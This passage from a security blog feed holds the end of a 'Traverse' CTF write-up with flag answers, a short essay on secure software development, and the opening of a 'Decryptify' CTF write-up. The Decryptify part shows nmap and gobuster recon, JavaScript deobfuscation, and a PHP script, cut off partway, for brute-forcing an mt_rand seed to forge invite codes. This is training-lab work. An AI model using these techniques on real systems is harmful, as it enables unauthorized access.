<p><strong>Can you use the file manager to restore the original website by removing the &ldquo;<code>FINALLY HACKED</code>&rdquo; message? What is the flag value after restoring the main website?</strong> <code>THM{WEBSITE_RESTORED}</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By analyzing the source code for hidden comments and obfuscated JavaScript, we identified the encoding method and a hint for directory listing. Leveraging directory enumeration, we found an email dump that revealed the naming convention for a protected directory and the password to access it. Inside, we discovered an insecure API endpoint that allowed us to enumerate users and harvest admin credentials. Finally, using the admin panel to execute commands, we identified the attacker&rsquo;s web shells, accessed the file manager, and restored the compromised website.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Code Review &amp; Sanitization</strong>: remove all hardcoded credentials, internal paths, and debug messages from source code before deployment. Avoid leaving comments that hint at hidden directories.</li>
<li><strong>Disable Directory Listing</strong>: configure the web server (Apache/Nginx) to disable directory listing (<code>Options -Indexes</code>) to prevent attackers from browsing file structures.</li>
<li><strong>Secure API Endpoints</strong>: implement proper authentication and authorization checks on all API endpoints. Do not expose sensitive user data (emails, passwords) via unauthenticated or poorly secured GET requests.</li>
<li><strong>Input Validation &amp; Sandboxing</strong>: restrict the ability of web applications to execute system commands. If command execution is necessary, ensure strict input validation and sandboxing to prevent arbitrary code execution.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>What type of encoding is used by the hackers to obfuscate the JavaScript file?</strong> <code>hex</code></li>
<li><strong>What is the flag value after deobfuscating the file?</strong> <code>DIRECTORY LISTING IS THE ONLY WAY</code></li>
<li><strong>What is the name of the file containing email dumps?</strong> <code>email_dump.txt</code></li>
<li><strong>What is the name of the directory that Bob has created?</strong> <code>Planning</code></li>
<li><strong>What is the key file for opening the directory that Bob has created for Mark?</strong> <code>THM{100100111}</code></li>
<li><strong>What is the email address for ID 5 using the leaked API endpoint?</strong> <code>john@traverse.com</code></li>
<li><strong>What is the ID for the user with admin privileges?</strong> <code>3</code></li>
<li><strong>What is the endpoint for logging in as the <code>admin</code>? Mention the last endpoint instead of the URL.</strong> <code>/realadmin</code></li>
<li><strong>Can you find the name of the web shell that the attacker has uploaded?</strong> <code>thm_shell.php</code></li>
<li><strong>What is the name of the file renamed by the attacker for managing the web server?</strong> <code>renamed_file_manager.php</code></li>
<li><strong>Can you use the file manager to restore the original website by removing the &ldquo;<code>FINALLY HACKED</code>&rdquo; message? What is the flag value after restoring the main website?</strong> <code>THM{WEBSITE_RESTORED}</code></li>
</ol>
]]></content:encoded></item><item><title>Software Security</title><link>https://alexanderroca.dev/strategy/4.-software-security/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/strategy/4.-software-security/</guid><description>Focus on understanding threats and vulnerabilities.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction:</h2>
<p>In the modern world, the most critical vulnerability often isn&rsquo;t a misconfigured firewall or an unpatched OS—it&rsquo;s the code itself.</p>
<p>From understanding the OWASP API Top 10 to navigating the complexities of DevSecOps and tackling unique challenges like the &ldquo;Mother&rsquo;s Secret&rdquo; and &ldquo;Traverse&rdquo; rooms, this section transformed how I view the software supply chain. Here’s what I learned.</p>
<hr>
<h2 id="1-owasp-api-security-top-10">1. OWASP API Security Top 10</h2>
<p>For years, the OWASP Top 10 for Web Applications dominated the conversation. But as applications evolve into microservices and APIs, the attack surface has shifted.</p>
<h3 id="key-insights">Key Insights:</h3>
<ul>
<li><strong>APIs are the New Perimeter:</strong> Modern apps rely heavily on APIs. If an API is broken, the entire backend is exposed.</li>
<li><strong>Broken Object Level Authorization (BOLA):</strong> It’s not just about logging in; it’s about ensuring User A can’t access User B’s data just by changing an ID in the URL.</li>
<li><strong>Mass Assignment &amp; Injection:</strong> How developers accidentally expose internal properties or allow SQL/NoSQL injection through poorly validated API inputs.</li>
<li><strong>Lack of Resources &amp; Rate Limiting:</strong> APIs without rate limiting are easy targets for brute-force and DoS attacks.</li>
</ul>
<hr>
<h2 id="2-ssdlc-and-devsecops">2. SSDLC and DevSecOps</h2>
<p>The <strong>Secure Software Development Life Cycle (SSDLC)</strong> isn&rsquo;t just a buzzword; it&rsquo;s a methodology that changes <em>when</em> security happens.
<img alt="SSDLC" loading="lazy" src="/images/strategy/SSDLC.png"></p>
<h3 id="the-shift-left-philosophy">The Shift Left Philosophy:</h3>
<ul>
<li><strong>Requirements Phase:</strong> Security requirements are defined alongside functional ones.</li>
<li><strong>Design Phase:</strong> Threat modeling happens before a single line of code is written.</li>
<li><strong>Development Phase:</strong> Developers use secure coding guidelines and static analysis tools.</li>
<li><strong>Testing Phase:</strong> Dynamic analysis and penetration testing occur before release.</li>
<li><strong>Deployment &amp; Maintenance:</strong> Continuous monitoring and patching.</li>
</ul>
<h3 id="enter-devsecops">Enter DevSecOps:</h3>
<p><strong>DevSecOps</strong> is a cultural shift that makes SSDLC possible. It’s about automating security checks within the CI/CD pipeline so that security doesn&rsquo;t slow down delivery—it enables it.</p>
<ul>
<li><strong>Automation is Key:</strong> If security checks are manual, they will be skipped. If they are automated, they become part of the build process.</li>
<li><strong>Feedback Loops:</strong> Developers get immediate feedback on vulnerabilities, allowing them to fix issues instantly rather than weeks later.</li>
</ul>
<hr>
<h2 id="3-sast-dast-and-weaponization">3. SAST, DAST, and Weaponization</h2>
<p>How do we actually find these bugs? There are two primary types of application security testing.</p>
<h3 id="sast-static-application-security-testing">SAST (Static Application Security Testing):</h3>
<p><img alt="SAST" loading="lazy" src="/images/strategy/SAST.png"></p>
<ul>
<li><strong>What it is:</strong> Analyzing source code without executing it.</li>
<li><strong>Pros:</strong> Finds issues early (during coding), covers 100% of code paths.</li>
<li><strong>Cons:</strong> Can produce false positives; doesn&rsquo;t catch runtime issues.</li>
</ul>
<h3 id="dast-dynamic-application-security-testing">DAST (Dynamic Application Security Testing):</h3>
<p><img alt="DAST" loading="lazy" src="/images/strategy/DAST.png"></p>
<ul>
<li><strong>What it is:</strong> Testing the running application from the outside (like a black-box attacker).</li>
<li><strong>Pros:</strong> Finds runtime issues, configuration errors, and authentication flaws.</li>
<li><strong>Cons:</strong> Can&rsquo;t see inside the code; only tests what&rsquo;s exposed.</li>
</ul>
<h3 id="weaponizing-vulnerabilities">Weaponizing Vulnerabilities:</h3>
<p>To defend effectively, I had to understand how attackers <strong>weaponize</strong> vulnerabilities.</p>
<ul>
<li><strong>Exploitation Chains:</strong> How a small XSS flaw can lead to session hijacking.</li>
<li><strong>Payload Delivery:</strong> Understanding how malware or ransomware is delivered through vulnerable software.</li>
<li><strong>Impact Analysis:</strong> Seeing the real-world consequences of a successful exploit helped me prioritize which vulnerabilities to fix first.</li>
</ul>
<hr>
<h2 id="conclusion">Conclusion:</h2>
<p>After reading about software security topics it has fundamentally changed my perspective on the software lifecycle. I now understand that:</p>
<ol>
<li><strong>APIs are critical:</strong> They require specific security controls distinct from traditional web apps.</li>
<li><strong>Shift Left is mandatory:</strong> Waiting until the end to test for security is too late and too expensive.</li>
<li><strong>Automation is essential:</strong> SAST and DAST must be integrated into the CI/CD pipeline.</li>
<li><strong>Human insight matters:</strong> Tools find bugs, but humans find logic flaws and understand the business impact.</li>
</ol>
<p>A Security Engineer role is to bridge the gap between developers and security. It needs to speak their language, provide them with the right tools, and help them build software that is secure by default.</p>
<p>This section was a reminder that the code we write is the foundation of our digital world. If that foundation is cracked, everything built on top of it will eventually fall.</p>
]]></content:encoded></item><item><title>Decryptify Write-up</title><link>https://alexanderroca.dev/tactics/decryptify-write-up/</link><pubDate>Wed, 03 Jun 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/decryptify-write-up/</guid><description>The main objective is to exploit a cryptographically insecure invitation code generation system, then leverage a padding oracle vulnerability in the DES/CBC encryption to achieve remote code execution on the target server.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/decryptify">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Medium
<strong>Tags:</strong> CTF, Web Exploitation
<strong>Target IP:</strong> <code>10.114.184.31</code></p>
<h1 id="objective">Objective</h1>
<p>The main objective is to exploit a weak cryptographic implementation to gain unauthorized access to the system, then leverage a padding oracle vulnerability to achieve remote code execution and retrieve the flags.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="scanning-services">Scanning Services</h2>
<p>Making a quick scan of the target to identify open ports and services using <code>nmap</code>. Executing a <strong>default scan</strong>, <code>nmap 10.114.184.31</code>
<img alt="1" loading="lazy" src="/images/tactics/decryptify/1.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
</ul>
<p>Based on the result it might be interesting to scan even deeper using <code>nmap -p- -sC -sV -T4 10.114.184.31</code>
<img alt="2" loading="lazy" src="/images/tactics/decryptify/2.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
<li><code>http</code></li>
</ul>
<p>Exploring the HTTP service: <code>http://10.114.184.31:1337</code>
<img alt="3" loading="lazy" src="/images/tactics/decryptify/3.png"></p>
<p>There are 3 interesting options to look further:</p>
<ul>
<li><code>Login</code></li>
<li><code>Login with Invite Code</code></li>
<li><code>API Documentation</code></li>
</ul>
<h2 id="directory-scan">Directory Scan</h2>
<p>Looking to extract more possible paths using <code>gobuster</code>. Starting with a basic directory scan <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
<img alt="4" loading="lazy" src="/images/tactics/decryptify/4.png"></p>
<p>Output:</p>
<ul>
<li><code>/css</code></li>
<li><code>/js</code></li>
<li><code>/logs</code></li>
<li><code>/phpmyadmin</code></li>
</ul>
<h3 id="extended-directory-scan-with-extensions">Extended Directory Scan with Extensions</h3>
<p>Looking to execute a directory scan with extensions <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip</code>
<img alt="5" loading="lazy" src="/images/tactics/decryptify/7.png"></p>
<p>Output:</p>
<ul>
<li><code>/api.php</code></li>
<li><code>/dashboard.php</code></li>
</ul>
<h2 id="log-analysis">Log Analysis</h2>
<p>Investigating <code>/logs</code> endpoints <code>http://10.114.184.31:1337/logs</code>
<img alt="6" loading="lazy" src="/images/tactics/decryptify/5.png"></p>
<p>It contains a log file called <code>app.log</code>
<img alt="7" loading="lazy" src="/images/tactics/decryptify/6.png"></p>
<p>The relevant information to extract are:</p>
<ul>
<li>Email:<code>alpha@fake.thm</code> with the invitation code <code>MTM0ODMzNzEyMg==</code> has been deactivated</li>
<li>Email: <code>hello@fake.thm</code> as a new user created</li>
<li>URL: <code>dashboard.php</code></li>
</ul>
<p>Inspecting the main URL <code>http://10.114.184.31:1337</code> with <code>Network</code> nav from browser development tools:
<img alt="8" loading="lazy" src="/images/tactics/decryptify/8.png"></p>
<h2 id="javascript-obfuscation-analysis">JavaScript Obfuscation Analysis</h2>
<p>There is a script called <code>api.js</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span><span style="color:#f92672">=</span><span style="color:#a6e22e">a</span>();<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">f</span>,<span style="color:#a6e22e">g</span>){<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">f</span><span style="color:#f92672">-</span><span style="color:#ae81ff">0x165</span>;<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span><span style="color:#f92672">=</span><span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;},<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>);}<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>;<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>(){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span><span style="color:#f92672">=</span>[<span style="color:#e6db74">&#39;16OTYqOr&#39;</span>,<span style="color:#e6db74">&#39;861cPVRNJ&#39;</span>,<span style="color:#e6db74">&#39;474AnPRwy&#39;</span>,<span style="color:#e6db74">&#39;H7gY2tJ9wQzD4rS1&#39;</span>,<span style="color:#e6db74">&#39;5228dijopu&#39;</span>,<span style="color:#e6db74">&#39;29131EDUYqd&#39;</span>,<span style="color:#e6db74">&#39;8756315tjjUKB&#39;</span>,<span style="color:#e6db74">&#39;1232020YOKSiQ&#39;</span>,<span style="color:#e6db74">&#39;7042671GTNtXE&#39;</span>,<span style="color:#e6db74">&#39;1593688UqvBWv&#39;</span>,<span style="color:#e6db74">&#39;90209ggCpyY&#39;</span>];<span style="color:#a6e22e">a</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(){<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;};<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();}(<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">d</span>,<span style="color:#a6e22e">e</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>,<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">d</span>();<span style="color:#66d9ef">while</span>(<span style="color:#f92672">!!</span>[]){<span style="color:#66d9ef">try</span>{<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span><span style="color:#f92672">=</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16b</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x1</span><span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16f</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x2</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x167</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x3</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16a</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x4</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16c</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x5</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x168</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x6</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x165</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x7</span>)<span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x166</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x8</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16e</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x9</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16d</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0xa</span>;<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">g</span><span style="color:#f92672">===</span><span style="color:#a6e22e">e</span>)<span style="color:#66d9ef">break</span>;<span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}<span style="color:#66d9ef">catch</span>(<span style="color:#a6e22e">h</span>){<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}}}(<span style="color:#a6e22e">a</span>,<span style="color:#ae81ff">0xe43f0</span>));<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span><span style="color:#f92672">=</span><span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">0x169</span>);
</span></span></code></pre></div><p>Looks like the function has been obfuscated. Using the following website <code>https://deobfuscate.io</code> to deobfuscate the current code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">f</span>, <span style="color:#a6e22e">g</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">f</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">357</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>  }, <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;16OTYqOr&#34;</span>, <span style="color:#e6db74">&#34;861cPVRNJ&#34;</span>, <span style="color:#e6db74">&#34;474AnPRwy&#34;</span>, <span style="color:#e6db74">&#34;H7gY2tJ9wQzD4rS1&#34;</span>, <span style="color:#e6db74">&#34;5228dijopu&#34;</span>, <span style="color:#e6db74">&#34;29131EDUYqd&#34;</span>, <span style="color:#e6db74">&#34;8756315tjjUKB&#34;</span>, <span style="color:#e6db74">&#34;1232020YOKSiQ&#34;</span>, <span style="color:#e6db74">&#34;7042671GTNtXE&#34;</span>, <span style="color:#e6db74">&#34;1593688UqvBWv&#34;</span>, <span style="color:#e6db74">&#34;90209ggCpyY&#34;</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">d</span>, <span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (<span style="color:#66d9ef">true</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">363</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">367</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">359</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">362</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">364</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">360</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">357</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">358</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">8</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">366</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">9</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">365</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">e</span>) <span style="color:#66d9ef">break</span>; <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">h</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}(<span style="color:#a6e22e">a</span>, <span style="color:#ae81ff">934896</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">361</span>);
</span></span></code></pre></div><p>There is a constant value invoked by <code>j(361)</code> assigned to a constant variable <code>c</code>. By inserting <code>console.log(c)</code> within <code>Console</code> nav from the browser development tools it should display a value:
<img alt="9" loading="lazy" src="/images/tactics/decryptify/10.png"></p>
<p>Output:</p>
<ul>
<li><code>H7gY2tJ9wQzD4rS1</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, was the correct choice to access the API documentation.</p>
<p>After trying to log in as <code>hello@fake.thm</code> with the <code>H7gY2tJ9wQzD4rS1</code> as the possible invitation code, it failed. Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, it was the correct choice to access the API documentation.
<img alt="10" loading="lazy" src="/images/tactics/decryptify/11.png"></p>
<h3 id="step-1-cracking-the-constant-value">Step 1: Cracking the Constant Value</h3>
<p>It reveals the function that generates the invitation code against the user email.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span></code></pre></div><p>By knowing an existing active email <code>hello@fake.thm</code> it is only required to know the unknown <code>constant_value</code>. However, we already had an invitation sample code from <code>alpha@fake.thm</code> with the value of <code>MTM0ODMzNzEyMg==</code>. Observing the <code>php</code> code the <code>invite_code</code> value is encoded in <code>base64</code> format. Using <code>CyberChef</code> to decode the value.
<img alt="11" loading="lazy" src="/images/tactics/decryptify/12.png"></p>
<p>Output:</p>
<ul>
<li><code>1348337122</code></li>
</ul>
<p>This value was generated by <code>mt_rand</code> function. This function is a pseudo-random number generator that is not considered <strong>cryptographically secure</strong>, since if an attacker gets the seed, then the output can be predicted.
The <code>seed_value</code> is generated by (<code>seed_value = email_length + constant_value + email_hex</code>):</p>
<ul>
<li><code>email_length</code>
<ul>
<li><strong>14</strong></li>
</ul>
</li>
<li><code>constant_value</code>
<ul>
<li><strong>Unknown</strong></li>
</ul>
</li>
<li><code>email_hex</code>
<ul>
<li><code>61 6c 70 68 61 40 66 61 6b 65 2e 74 68 6d</code> (using <code>CyberChef</code>)</li>
<li>Substring between 0 to 8: <code>616c7068</code></li>
<li>Decimal: <code>54 49 54 99 55 48 54 56</code></li>
</ul>
</li>
</ul>
<p>To get the <code>constant_value</code> we know the seed from <code>alpha@fake.thm</code>:</p>
<p><strong>1348337122 = hexdec(14 + ? + 5449549955485456)</strong></p>
<p>It is possible to loop over possible values by try and error, therefore typing a little script in <code>php</code> is going to be the way to discover the <code>seed_value</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;alpha@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$target_invite_code <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;MTM0ODMzNzEyMg==&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email); <span style="color:#75715e">// 15
</span></span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>((<span style="color:#a6e22e">string</span>)($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Starting...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Loop over possible constant values
